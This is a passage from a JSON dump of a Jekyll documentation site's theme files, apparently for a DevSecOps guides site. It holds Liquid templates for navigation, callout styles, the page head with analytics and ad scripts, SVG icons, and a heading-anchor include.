href=\"https://github.com/orgs/DevSecOpsStuff/\">Labs</a><br>\n      <a href=\"https://join.slack.com/t/devsecopsguides/shared_invite/zt-1yc37gckk-zeg3jnA0GdCSYqGlFs2Ppw\">Slack</a>\n    </footer>\n  {% endif %}\n</div>\n"
  },
  {
    "path": "_includes/css/callouts.scss.liquid",
    "content": "{%- comment -%}\n  {% include css/callouts.scss.liquid color_scheme = string %}\n  produces SCSS for all the callouts in site.callouts. For the \"dark\"\n  color scheme, the levels of the text and background colors are reversed.\n{%- endcomment -%}\n\n{%- assign callout_background_hue = \"000\" -%}\n{%- assign callout_color_hue = \"300\" -%}\n{%- if site.callouts_level == \"loud\" or include.color_scheme == \"dark\" and site.callouts_level != \"quiet\" -%}\n  {%- assign callout_background_hue = \"300\" -%}\n  {%- assign callout_color_hue = \"000\" -%}\n{%- endif -%}\n\ndiv.opaque {\n  background-color: $body-background-color;\n}\n\n{%- for callout in site.callouts %}\n\n{%- assign callout_opacity = callout[1].opacity | default: site.callouts_opacity | default: 0.2 -%}\n\np.{{ callout[0] }}, blockquote.{{ callout[0] }} {\n    background: rgba(${{ callout[1].color }}-{{ callout_background_hue }}, {{ callout_opacity }});\n    border-left: $border-radius solid ${{ callout[1].color }}-{{ callout_color_hue }};\n    border-radius: $border-radius;\n    box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08);\n    padding: .8rem;\n    {% if callout[1].title %}\n    &::before {\n        color: ${{ callout[1].color }}-{{ callout_color_hue }};\n        content: \"{{ callout[1].title }}\";\n        display: block;\n        font-weight: bold;\n        text-transform: uppercase;\n        font-size: .75em;\n        padding-bottom: .125rem;\n    }\n    {% endif %}\n    > .{{ callout[0] }}-title {\n      color: ${{ callout[1].color }}-{{ callout_color_hue }};\n      display: block;\n      font-weight: bold;\n      text-transform: uppercase;\n      font-size: .75em;\n      padding-bottom: .125rem;\n    }\n}\n\np.{{ callout[0] }}-title, blockquote.{{ callout[0] }}-title {\n    background: rgba(${{ callout[1].color }}-{{ callout_background_hue }}, {{ callout_opacity }});\n    border-left: $border-radius solid ${{ callout[1].color }}-{{ callout_color_hue }};\n    border-radius: $border-radius;\n    box-shadow: 0 1px 2px rgba(0, 0, 0, 0.12), 0 3px 10px rgba(0, 0, 0, 0.08);\n    padding: .8rem;\n    > p:first-child {\n      margin-top: 0;\n      margin-bottom: 0;\n      color: ${{ callout[1].color }}-{{ callout_color_hue }};\n      display: block;\n      font-weight: bold;\n      text-transform: uppercase;\n      font-size: .75em;\n      padding-bottom: .125rem;\n    }\n}\n\nblockquote.{{ callout[0] }} {\n  margin-left: 0;\n  margin-right: 0;\n  \n  > p:first-child {\n    margin-top: 0;\n  }\n    \n  > p:last-child {\n    margin-bottom: 0;\n  }\n}\n\nblockquote.{{ callout[0] }}-title {\n  margin-left: 0;\n  margin-right: 0;\n  \n  > p:nth-child(2) {\n    margin-top: 0;\n  }\n    \n  > p:last-child {\n    margin-bottom: 0;\n  }\n}\n\n{% endfor -%}\n"
  },
  {
    "path": "_includes/css/custom.scss.liquid",
    "content": "@import \"./custom/custom\";\n"
  },
  {
    "path": "_includes/css/just-the-docs.scss.liquid",
    "content": "{% if site.logo %}\n$logo: \"{{ site.logo | relative_url }}\";\n{% endif %}\n@import \"./support/support\";\n@import \"./custom/setup\";\n@import \"./color_schemes/light\";\n{% unless include.color_scheme == \"light\" %}\n@import \"./color_schemes/{{ include.color_scheme }}\";\n{% endunless %}\n@import \"./modules\";\n{% include css/callouts.scss.liquid color_scheme = include.color_scheme %}\n{% include css/custom.scss.liquid %}\n"
  },
  {
    "path": "_includes/fix_linenos.html",
    "content": "{%- comment -%}\nThis file can be used to fix the HTML produced by Jekyll for highlighted\ncode with line numbers.\n\nIt works with `{% highlight some_language linenos %}...{% endhighlight %}`\nand with the Kramdown option to add line numbers to fenced code.\n\nThe implementation was derived from the workaround provided by \nDmitry Hrabrov (DeXP) at\nhttps://github.com/penibelst/jekyll-compress-html/issues/71#issuecomment-188144901\n\nEXPLANATION\n\nThe HTML produced by Rouge highlighting with lie numbers is of the form\n`code table`. Jekyll (<= 4.1.1) always wraps the highlighted HTML\nwith `pre`. This wrapping is not only unnecessary, but also transforms\nthe conforming HTML produced by Rouge to non-conforming HTML, which\nresults in HTML validation error reports. \n\nThe fix removes the outer `pre` tags whenever they contain the pattern\n`<table class=\"rouge-table\">`.\n  \nApart from avoiding HTML validation errors, the fix allows the use of\nthe [Jekyll layout for compressing HTML](http://jch.penibelst.de),\nwhich relies on `pre` tags not being nested, according to\nhttps://github.com/penibelst/jekyll-compress-html/issues/71#issuecomment-172069842 \n\nUSAGE\n\n(Any names can be used for `some_var` and `some_language`.)\n\n{% capture some_var %}\n{% highlight some_language linenos %}\nSome code\n{% endhighlight %}\n{% endcapture %}\n{% include fix_linenos.html code=some_var %}\n\nFor code fences:\n\n{% capture some_var %}\n```some_language\nSome code\n```\n{% endcapture %}\n{% assign some_var = some_var | markdownify %}\n{% include fix_linenos.html code=some_var %}\n\nCAVEATS\n\nThe above does not work when `Some code` happens to contain the matched string \n`<table class=\"rouge-table\">`.\n\nThe use of this file overwrites the variable `fix_linenos_code` with `nil`.\n\n{%- endcomment -%}\n\n{% assign fix_linenos_code = include.code %}\n{% if fix_linenos_code contains '<table class=\"rouge-table\">' %}\n  {% assign fix_linenos_code = fix_linenos_code | replace: '<pre class=\"highlight\">', '<pre>' %}\n  {% assign fix_linenos_code = fix_linenos_code | replace: \"<pre><code\", \"<code\" %}\n  {% assign fix_linenos_code = fix_linenos_code | replace: \"</code></pre>\", \"</code>\" %}\n{% endif %}\n{{ fix_linenos_code }}\n{% assign fix_linenos_code = nil %}\n"
  },
  {
    "path": "_includes/footer_custom.html",
    "content": "{%- if site.footer_content -%}\n  <p class=\"text-small text-grey-dk-100 mb-0\">{{ site.footer_content }}</p>\n{%- endif -%}\n"
  },
  {
    "path": "_includes/head.html",
    "content": "<head>\n  <meta charset=\"UTF-8\">\n  <meta http-equiv=\"X-UA-Compatible\" content=\"IE=Edge\">\n  <meta name=\"google-adsense-account\" content=\"ca-pub-4288225696268534\">\n<script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-4288225696268534\"\n     crossorigin=\"anonymous\"></script>\n  <link rel=\"stylesheet\" href=\"{{ '/assets/css/just-the-docs-default.css' | relative_url }}\">\n\n  {% if site.ga_tracking != nil %}\n    {% assign ga_tracking_ids = site.ga_tracking | split: \",\" %}\n    <script async src=\"https://www.googletagmanager.com/gtag/js?id={{ ga_tracking_ids.first }}\"></script>\n    <script>\n      window.dataLayer = window.dataLayer || [];\n      function gtag(){dataLayer.push(arguments);}\n      gtag('js', new Date());\n\n      {% for ga_property in ga_tracking_ids %}\n        gtag('config', '{{ ga_property }}'{% unless site.ga_tracking_anonymize_ip == nil %}, { 'anonymize_ip': true }{% endunless %});\n      {% endfor %}\n    </script>\n  {% endif %}\n\n  {% if site.search_enabled != false %}\n    <script src=\"{{ '/assets/js/vendor/lunr.min.js' | relative_url }}\"></script>\n  {% endif %}\n\n  <script src=\"{{ '/assets/js/just-the-docs.js' | relative_url }}\"></script>\n\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n\n  {% for file in site.static_files %}\n    {% if file.path == site.favicon_ico or file.path == '/favicon.ico' %}\n      {% assign favicon = true %}\n    {% endif %}\n  {% endfor %}\n  {% if favicon %}\n    <link rel=\"icon\" href=\"{{ site.favicon_ico | default: '/favicon.ico' | relative_url }}\" type=\"image/x-icon\">\n  {% endif %}\n\n  {% seo %}\n\n  {% include head_custom.html %}\n\n</head>\n"
  },
  {
    "path": "_includes/head_custom.html",
    "content": ""
  },
  {
    "path": "_includes/header_custom.html",
    "content": ""
  },
  {
    "path": "_includes/icons/code_copy.html",
    "content": "<!-- Bootstrap Icons. MIT License: https://github.com/twbs/icons/blob/main/LICENSE.md -->\n<symbol id=\"svg-copy\" viewBox=\"0 0 16 16\">\n  <title>Copy</title>\n  <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-clipboard\" viewBox=\"0 0 16 16\">\n    <path d=\"M4 1.5H3a2 2 0 0 0-2 2V14a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V3.5a2 2 0 0 0-2-2h-1v1h1a1 1 0 0 1 1 1V14a1 1 0 0 1-1 1H3a1 1 0 0 1-1-1V3.5a1 1 0 0 1 1-1h1v-1z\"/>\n    <path d=\"M9.5 1a.5.5 0 0 1 .5.5v1a.5.5 0 0 1-.5.5h-3a.5.5 0 0 1-.5-.5v-1a.5.5 0 0 1 .5-.5h3zm-3-1A1.5 1.5 0 0 0 5 1.5v1A1.5 1.5 0 0 0 6.5 4h3A1.5 1.5 0 0 0 11 2.5v-1A1.5 1.5 0 0 0 9.5 0h-3z\"/>\n  </svg>\n</symbol>\n<symbol id=\"svg-copied\" viewBox=\"0 0 16 16\">\n  <title>Copied</title>\n  <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"16\" height=\"16\" fill=\"currentColor\" class=\"bi bi-clipboard-check-fill\" viewBox=\"0 0 16 16\">\n    <path d=\"M6.5 0A1.5 1.5 0 0 0 5 1.5v1A1.5 1.5 0 0 0 6.5 4h3A1.5 1.5 0 0 0 11 2.5v-1A1.5 1.5 0 0 0 9.5 0h-3Zm3 1a.5.5 0 0 1 .5.5v1a.5.5 0 0 1-.5.5h-3a.5.5 0 0 1-.5-.5v-1a.5.5 0 0 1 .5-.5h3Z\"/>\n    <path d=\"M4 1.5H3a2 2 0 0 0-2 2V14a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V3.5a2 2 0 0 0-2-2h-1v1A2.5 2.5 0 0 1 9.5 5h-3A2.5 2.5 0 0 1 4 2.5v-1Zm6.854 7.354-3 3a.5.5 0 0 1-.708 0l-1.5-1.5a.5.5 0 0 1 .708-.708L7.5 10.793l2.646-2.647a.5.5 0 0 1 .708.708Z\"/>\n  </svg>\n</symbol>\n"
  },
  {
    "path": "_includes/icons/document.html",
    "content": "<symbol id=\"svg-doc\" viewBox=\"0 0 24 24\">\n  <title>Document</title>\n  <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" class=\"feather feather-file\">\n    <path d=\"M13 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V9z\"></path><polyline points=\"13 2 13 9 20 9\"></polyline>\n  </svg>\n</symbol>\n"
  },
  {
    "path": "_includes/icons/expand.html",
    "content": "<symbol id=\"svg-arrow-right\" viewBox=\"0 0 24 24\">\n  <title>Expand</title>\n  <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" class=\"feather feather-chevron-right\">\n    <polyline points=\"9 18 15 12 9 6\"></polyline>\n  </svg>\n</symbol>\n"
  },
  {
    "path": "_includes/icons/external_link.html",
    "content": "<!-- Feather. MIT License: https://github.com/feathericons/feather/blob/master/LICENSE -->\n<symbol id=\"svg-external-link\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" class=\"feather feather-external-link\">\n  <title id=\"svg-external-link-title\">(external link)</title>\n  <path d=\"M18 13v6a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V8a2 2 0 0 1 2-2h6\"></path><polyline points=\"15 3 21 3 21 9\"></polyline><line x1=\"10\" y1=\"14\" x2=\"21\" y2=\"3\"></line>\n</symbol>\n"
  },
  {
    "path": "_includes/icons/icons.html",
    "content": "<svg xmlns=\"http://www.w3.org/2000/svg\" class=\"d-none\">\n  {% include icons/link.html %}\n  {% include icons/menu.html %}\n  {% include icons/expand.html %}\n  {% include icons/external_link.html %}\n  {% if site.search_enabled != false %}\n    {% include icons/document.html %}\n    {% include icons/search.html %}\n  {% endif %}\n  {% if site.enable_copy_code_button != false %}\n    {% include icons/code_copy.html %}\n  {% endif %}\n</svg>\n"
  },
  {
    "path": "_includes/icons/link.html",
    "content": "<symbol id=\"svg-link\" viewBox=\"0 0 24 24\">\n  <title>Link</title>\n  <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" class=\"feather feather-link\">\n    <path d=\"M10 13a5 5 0 0 0 7.54.54l3-3a5 5 0 0 0-7.07-7.07l-1.72 1.71\"></path><path d=\"M14 11a5 5 0 0 0-7.54-.54l-3 3a5 5 0 0 0 7.07 7.07l1.71-1.71\"></path>\n  </svg>\n</symbol>\n"
  },
  {
    "path": "_includes/icons/menu.html",
    "content": "<symbol id=\"svg-menu\" viewBox=\"0 0 24 24\">\n  <title>Menu</title>\n  <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" class=\"feather feather-menu\">\n    <line x1=\"3\" y1=\"12\" x2=\"21\" y2=\"12\"></line><line x1=\"3\" y1=\"6\" x2=\"21\" y2=\"6\"></line><line x1=\"3\" y1=\"18\" x2=\"21\" y2=\"18\"></line>\n  </svg>\n</symbol>\n"
  },
  {
    "path": "_includes/icons/search.html",
    "content": "<symbol id=\"svg-search\" viewBox=\"0 0 24 24\">\n  <title>Search</title>\n  <svg xmlns=\"http://www.w3.org/2000/svg\" width=\"24\" height=\"24\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"currentColor\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\" class=\"feather feather-search\">\n    <circle cx=\"11\" cy=\"11\" r=\"8\"></circle><line x1=\"21\" y1=\"21\" x2=\"16.65\" y2=\"16.65\"></line>\n  </svg>\n</symbol>\n"
  },
  {
    "path": "_includes/js/custom.js",
    "content": ""
  },
  {
    "path": "_includes/lunr/custom-data.json",
    "content": ""
  },
  {
    "path": "_includes/lunr/custom-index.js",
    "content": ""
  },
  {
    "path": "_includes/mermaid_config.js",
    "content": "{}\n"
  },
  {
    "path": "_includes/nav.html",
    "content": "{%- comment -%}\n  The `nav_order` values of pages affect the order in which they are shown in\n  the navigation panel and in the automatically generated tables of contents.\n  Sibling pages with the same `nav_order` value may be shown in any order.\n  Sibling pages with no `nav_order` value are shown after all pages that have\n  explicit `nav_order` values, ordered by their `title` values.\n  \n  The `nav_order` and `title` values can be numbers or strings. To avoid build\n  failures, we sort numbers and strings separately. We sort numbers by their\n  values, and strings lexicographically. The case-sensitivity of string sorting\n  is determined by the configuration setting of `nav_sort`. Pages with no `title`\n  value are excluded from the navigation.\n\n  Note: Numbers used as `title` or `nav_order` values should not be in quotes,\n  unless you intend them to be lexicographically ordered. Numbers are written\n  without spaces or thousands-separators. Negative numbers are preceded by `-`.\n  Floats are written with the integral and fractional parts separated by `.`.\n  (Bounds on the magnitude and precision are presumably the same as in Liquid.)\n{%- endcomment -%}\n\n{%- assign title_pages = include.pages\n      | where_exp: \"item\", \"item.title != nil\" -%}\n\n{%- comment -%}\n  A page with `nav_exclude: true` does not appear in the main navigation.\n  If it has a `parent`, it may appear in the parent's table of contents.\n  If it specifies `has_children: true`, it should appear in the breadcrumbs\n  of the child pages, but its order in relation to other pages is irrelevant.\n  Pages that never appear can be removed from the pages that need to be sorted.\n  This optimisation can be significant on a site with many pages.\n  \n  In Jekyll 4, the pages to be sorted can be filtered by:\n  \n  {%- assign title_pages = title_pages\n        | where_exp: \"item\", \"item.nav_exclude != true or item.parent != nil\" -%}\n  \n  That filter is not allowed in Jekyll 3. The following iterative code gives the\n  same effect, but it is activated only when it will filter more than 50% of the\n  pages.\n{%- endcomment -%}\n\n{%- unless title_pages == empty -%}\n  {%- assign unsorted_pages = title_pages\n        | where_exp: \"item\", \"item.parent == nil\" \n        | where_exp: \"item\", \"item.nav_exclude == true\" -%}\n  {%- assign title_pages_size = title_pages.size -%}\n  {%- assign unsorted_pages_percent = unsorted_pages.size\n        | times: 100 | divided_by: title_pages_size -%}\n  {%- if unsorted_pages_percent > 50 -%}\n    {%- assign sorted_pages = \"\" | split: \"\" -%}\n    {%- for item in title_pages -%}\n      {%- if item.nav_exclude != true or item.parent -%}\n        {%- assign sorted_pages = sorted_pages | push: item -%}\n      {%- endif -%}\n    {%- endfor -%}\n    {%- assign title_pages = sorted_pages -%}\n  {%- endif -%}\n{%- endunless -%}\n\n{%- assign nav_order_pages = title_pages\n      | where_exp: \"item\", \"item.nav_order != nil\" -%}\n{%- assign title_order_pages = title_pages\n      | where_exp: \"item\", \"item.nav_order == nil\" -%}\n\n{%- comment -%}\n  Divide the arrays of `nav_order_pages` and `title_order_pages` according to\n  the type of value.\n  \n  The first character of the result of `jsonify` is `\"` only for strings.\n  Grouping by a single character also ensures the number of groups is small.\n{%- endcomment -%}\n\n{%- assign nav_number_pages = \"\" | split: \"\" -%}\n{%- assign nav_string_pages = \"\" | split: \"\" -%}\n{%- assign nav_order_groups = nav_order_pages\n      | group_by_exp: \"item\", \"item.nav_order | jsonify | slice: 0\" -%}\n{%- for group in nav_order_groups -%}\n  {%- if group.name == '\"' -%}\n    {%- assign nav_string_pages = group.items -%}\n  {%- else -%}\n    {%- assign nav_number_pages = nav_number_pages | concat: group.items -%}\n  {%- endif -%}\n{%- endfor -%}\n\n{%- unless nav_number_pages == empty -%}\n  {%- assign nav_number_pages = nav_number_pages | sort: \"nav_order\" -%}\n{%- endunless -%}\n\n{%- unless nav_string_pages == empty -%}\n  {%- if site.nav_sort == 'case_insensitive' -%}\n    {%- assign nav_string_pages = nav_string_pages | sort_natural: \"nav_order\" -%}\n  {%- else -%}\n    {%- assign nav_string_pages = nav_string_pages | sort: \"nav_order\" -%}\n  {%- endif -%}\n{%- endunless -%}\n\n{%- assign title_number_pages = \"\" | split: \"\" -%}\n{%- assign title_string_pages = \"\" | split: \"\" -%}\n{%- assign title_order_groups = title_order_pages\n      | group_by_exp: \"item\", \"item.title | jsonify | slice: 0\" -%}\n{%- for group in title_order_groups -%}\n  {%- if group.name == '\"' -%}\n    {%- assign title_string_pages = group.items -%}\n  {%- else -%}\n    {%- assign title_number_pages = title_number_pages | concat: group.items -%}\n  {%- endif -%}\n{%- endfor -%}\n\n{%- unless title_number_pages == empty -%}\n  {%- assign title_number_pages = title_number_pages | sort: \"title\" -%}\n{%- endunless -%}\n\n{%- unless title_string_pages == empty -%}\n  {%- if site.nav_sort == 'case_insensitive' -%}\n    {%- assign title_string_pages = title_string_pages | sort_natural: \"title\" -%}\n  {%- else -%}\n    {%- assign title_string_pages = title_string_pages | sort: \"title\" -%}\n  {%- endif -%}\n{%- endunless -%}\n\n{%- assign pages_list = nav_number_pages | concat: nav_string_pages\n      | concat: title_number_pages | concat: title_string_pages -%}\n\n{%- assign first_level_pages = pages_list\n      | where_exp: \"item\", \"item.parent == nil\" -%}\n{%- assign second_level_pages = pages_list\n      | where_exp: \"item\", \"item.parent != nil\"\n      | where_exp: \"item\", \"item.grand_parent == nil\" -%}\n{%- assign third_level_pages = pages_list\n      | where_exp: \"item\", \"item.grand_parent != nil\" -%}\n\n{%- comment -%}\n  The order of sibling pages in `pages_list` determines the order of display of\n  links to them in lists of navigation links and in auto-generated TOCs.\n  \n  Note that Liquid evaluates conditions from right to left (and it does not allow\n  the use of parentheses). Some conditions are not so easy to express clearly...\n  \n  For example, consider the following condition:\n  \n    C: page.collection = = include.key and \n       page.url = = node.url or \n       page.grand_parent = = node.title or \n       page.parent = = node.title and \n       page.grand_parent = = nil\n \n  Here, `node` is a first-level page. The last part of the condition\n  -- namely: `page.parent = = node.title and page.grand_parent = = nil` --\n  is evaluated first; it holds if and only if `page` is a child of `node`.\n  \n  The condition `page.grand_parent = = node.title or ...` holds when \n  `page` is a grandchild of node, OR `...` holds.\n  \n  The condition `page.url = = node.url or ...` holds when \n  `page` is `node`, OR `...` holds.\n  \n  The condition C: `page.collection = = include.key and ...` holds when we are \n  generating the nav links for a collection that includes `page`, AND `...` holds.\n{%- endcomment -%}\n\n<ul class=\"nav-list\">\n{%- for node in first_level_pages -%}\n    {%- unless node.nav_exclude -%}\n      <li class=\"nav-list-item{% if page.collection == include.key and page.url == node.url or page.grand_parent == node.title or page.parent == node.title and page.grand_parent == nil %} active{% endif %}\">\n        {%- if node.has_children -%}\n          <a href=\"#\" class=\"nav-list-expander\" aria-label=\"toggle links in {{ node.title }} category\">\n            <svg viewBox=\"0 0 24 24\"><use xlink:href=\"#svg-arrow-right\"></use></svg>\n          </a>\n        {%- endif -%}\n        <a href=\"{{ node.url | relative_url }}\" class=\"nav-list-link{% if page.url == node.url %} active{% endif %}\">{{ node.title }}</a>\n        {%- if node.has_children -%}\n          {%- assign children_list = second_level_pages\n                | where: \"parent\", node.title -%}\n          {%- if node.child_nav_order == 'desc' or node.child_nav_order == 'reversed' -%}\n            {%- assign children_list = children_list | reverse -%}\n          {%- endif -%}\n          <ul class=\"nav-list\">\n          {%- for child in children_list -%}\n            {%- unless child.nav_exclude -%}\n            <li class=\"nav-list-item {% if page.url == child.url or page.parent == child.title %} active{% endif %}\">\n              {%- if child.has_children -%}\n                <a href=\"#\" class=\"nav-list-expander\" aria-label=\"toggle links in {{ child.title }} category\">\n                  <svg viewBox=\"0 0 24 24\"><use xlink:href=\"#svg-arrow-right\"></use></svg>\n                </a>\n              {%- endif -%}\n              <a href=\"{{ child.url | relative_url }}\" class=\"nav-list-link{% if page.url == child.url %} active{% endif %}\">{{ child.title }}</a>\n              {%- if child.has_children -%}\n                {%- assign grand_children_list = third_level_pages\n                      | where: \"parent\", child.title\n                      | where: \"grand_parent\", node.title -%}\n                {%- if child.child_nav_order == 'desc' or child.child_nav_order == 'reversed' -%}\n                  {%- assign grand_children_list = grand_children_list | reverse -%}\n                {%- endif -%}\n                <ul class=\"nav-list\">\n                {%- for grand_child in grand_children_list -%}\n                  {%- unless grand_child.nav_exclude -%}\n                  <li class=\"nav-list-item {% if page.url == grand_child.url %} active{% endif %}\">\n                    <a href=\"{{ grand_child.url | relative_url }}\" class=\"nav-list-link{% if page.url == grand_child.url %} active{% endif %}\">{{ grand_child.title }}</a>\n                  </li>\n                  {%- endunless -%}\n                {%- endfor -%}\n                </ul>\n              {%- endif -%}\n            </li>\n            {%- endunless -%}\n          {%- endfor -%}\n          </ul>\n        {%- endif -%}\n      </li>\n    {%- endunless -%}\n{%- endfor -%}\n</ul>\n\n{%- comment -%}\n  `page.collection` is the name of the Jekyll collection that contains the page,\n  if any, and otherwise nil. Similarly for `include.key`.\n  \n  If the current page is in the collection (if any) whose navigation is currently\n  being generated, the following code sets `first_level_url` to the URL used in\n  the page's top-level breadcrumb (if any), and `second_level_url` to that used\n  in the page's second-level breadcrumb (if any).\n  \n  For pages with children, the code also sets `toc_list` to the list of child pages,\n  reversing the order if needed.\n{%- endcomment -%}\n\n{%- if page.collection == include.key -%}\n  {%- for node in first_level_pages -%}\n      {%- if page.grand_parent == node.title or page.parent == node.title and page.grand_parent == nil -%}\n        {%- assign first_level_url = node.url | relative_url -%}\n      {%- endif -%}\n      {%- if node.has_children -%}\n        {%- assign children_list = second_level_pages | where: \"parent\", node.title -%}\n        {%- for child in children_list -%}\n          {%- if child.has_children -%}\n            {%- if page.url == child.url or page.parent == child.title and page.grand_parent == child.parent -%}\n              {%- assign second_level_url = child.url | relative_url -%}\n            {%- endif -%}\n          {%- endif -%}\n        {%- endfor -%}\n      {%- endif -%}\n  {%- endfor -%}\n  {%- if page.has_children == true and page.has_toc != false -%}\n    {%- assign toc_list = pages_list\n          | where: \"parent\", page.title\n          | where_exp: \"item\", \"item.grand_parent == page.parent\" -%}\n    {%- if page.child_nav_order == 'desc' or page.child_nav_order == 'reversed' -%}\n      {%- assign toc_list = toc_list | reverse -%}\n    {%- endif -%}\n  {%- endif -%}\n{%- endif -%}\n"
  },
  {
    "path": "_includes/nav_footer_custom.html",
    "content": ""
  },
  {
    "path": "_includes/search_placeholder_custom.html",
    "content": "Search {{site.title}}\n"
  },
  {
    "path": "_includes/title.html",
    "content": "{% if site.logo %}\n  <div class=\"site-logo\"></div>\n{% else %}\n  {{ site.title }}\n{% endif %}\n"
  },
  {
    "path": "_includes/toc_heading_custom.html",
    "content": "<h2 class=\"text-delta\">Table of contents</h2>\n"
  },
  {
    "path": "_includes/vendor/anchor_headings.html",
    "content": "{% capture headingsWorkspace %}\n  {% comment %}\n    Copyright (c) 2018 Vladimir \"allejo\" Jimenez\n\n    Permission is hereby granted, free of charge, to any person\n    obtaining a copy of this software and associated documentation\n    files (the \"Software\"), to deal in the Software without\n    restriction, including without limitation the rights to use,\n    copy, modify, merge, publish, distribute, sublicense, and/or sell\n    copies of the Software, and to permit persons to whom the\n    Software is furnished to do so, subject to the following\n    conditions:\n\n    The above copyright notice and this permission notice shall be\n    included in all copies or substantial portions of the Software.\n\n    THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES\n    OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n    NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\n    HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\n    WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n    FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR\n    OTHER DEALINGS IN THE SOFTWARE.\n  {% endcomment %}\n  {% comment %}\n    Version 1.0.12\n      https://github.com/allejo/jekyll-anchor-headings\n\n    \"Be the pull request you wish to see in the world.\" ~Ben Balter\n\n    Usage:\n      {% include anchor_headings.html html=content anchorBody=\"#\" %}\n\n    Parameters:\n      * html          (string) - the HTML of compiled markdown generated by kramdown in Jekyll\n\n    Optional Parameters:\n      * beforeHeading (bool)   : false  - Set to true if the anchor should be placed _before_ the heading's content\n      * headerAttrs   (string) :  ''    - Any custom HTML attributes that will be added to the heading tag; you may NOT use `id`;\n                                          the `%heading%` and `%html_id%` placeholders are available\n      * anchorAttrs   (string) :  ''    - Any custom HTML attributes that will be added to the `<a>` tag; you may NOT use `href`, `class` or `title`;\n                                          the `%heading%` and `%html_id%` placeholders are available\n      * anchorBody    (string) :  ''    - The content that will be placed inside the anchor; the `%heading%` placeholder is available\n      * anchorClass   (string) :  ''    - The class(es) that will be used for each anchor. Separate multiple classes with a space\n      * anchorTitle   (string) :  ''    - The `title` attribute that will be used for anchors\n      * h_min         (int)    :  1     - The minimum header level to build an anchor for; any header lower than this value will be ignored\n      * h_max         (int)    :  6     - The maximum header level to build an anchor for; any header greater than this value will be ignored\n      * bodyPrefix    (string) :  ''    - Anything that should be inserted inside of the heading tag _before_ its anchor and content\n      * bodySuffix    (string) :  ''    - Anything that should be inserted inside of the heading tag _after_ its anchor and content\n      * generateId    (true)   :  false - Set to true if a header without id should generate an id to use.\n\n    Output:\n      The original HTML with the addition of anchors inside of all of the h1-h6 headings.\n  {% endcomment %}\n\n  {% assign minHeader = include.h_min | default: 1 %}\n  {% assign maxHeader = include.h_max | default: 6 %}\n  {% assign beforeHeading = include.beforeHeading %}\n  {% assign headerAttrs = include.headerAttrs %}\n  {% assign nodes = include.html | split: '<h' %}\n\n  {% capture edited_headings %}{% endcapture %}\n\n  {% for _node in nodes %}\n    {% capture node %}{{ _node | strip }}{% endcapture %}\n\n    {% if node == \"\" %}\n      {% continue %}\n    {% endif %}\n\n    {% assign nextChar = node | replace: '\"', '' | strip | slice: 0, 1 %}\n    {% assign headerLevel = nextChar | times: 1 %}\n\n    <!-- If the level is cast to 0, it means it's not a h1-h6 tag, so let's see if we need to fix it -->\n    {% if headerLevel == 0 %}\n      <!-- Split up the node based on closing angle brackets and get the first one. -->\n      {% assign firstChunk = node | split: '>' | first %}\n\n      <!-- If the first chunk does NOT contain a '<', that means we've broken another HTML tag that starts with 'h' -->\n      {% unless firstChunk contains '<' %}\n        {% capture node %}<h{{ node }}{% endcapture %}\n      {% endunless %}\n\n      {% capture edited_headings %}{{ edited_headings }}{{ node }}{% endcapture %}\n      {% continue %}\n    {% endif %}\n\n    {% capture _closingTag %}</h{{ headerLevel }}>{% endcapture %}\n    {% assign _workspace = node | split: _closingTag %}\n    {% capture _hAttrToStrip %}{{ _workspace[0] | split: '>' | first }}>{% endcapture %}\n    {% assign header = _workspace[0] | replace: _hAttrToStrip, '' %}\n    {% assign escaped_header = header | strip_html | strip %}\n\n    {% assign _classWorkspace = _workspace[0] | split: 'class=\"' %}\n    {% assign _classWorkspace = _classWorkspace[1] | split: '\"' %}\n    {% assign _html_class = _classWorkspace[0] %}\n\n    {% if _html_class contains \"no_anchor\" %}\n      {% assign skip_anchor = true %}\n    {% else %}\n      {% assign skip_anchor = false %}\n    {% endif %}\n\n    {% assign _idWorkspace = _workspace[0] | split: 'id=\"' %}\n    {% if _idWorkspace[1] %}\n      {% assign _idWorkspace = _idWorkspace[1] | split: '\"' %}\n      {% assign html_id = _idWorkspace[0] %}\n    {% elsif include.generateId %}\n      <!-- If the header did not have an id we create one. -->\n      {% assign html_id = escaped_header | slugify %}\n      {% if html_id == \"\" %}\n        {% assign html_id = false %}\n      {% endif 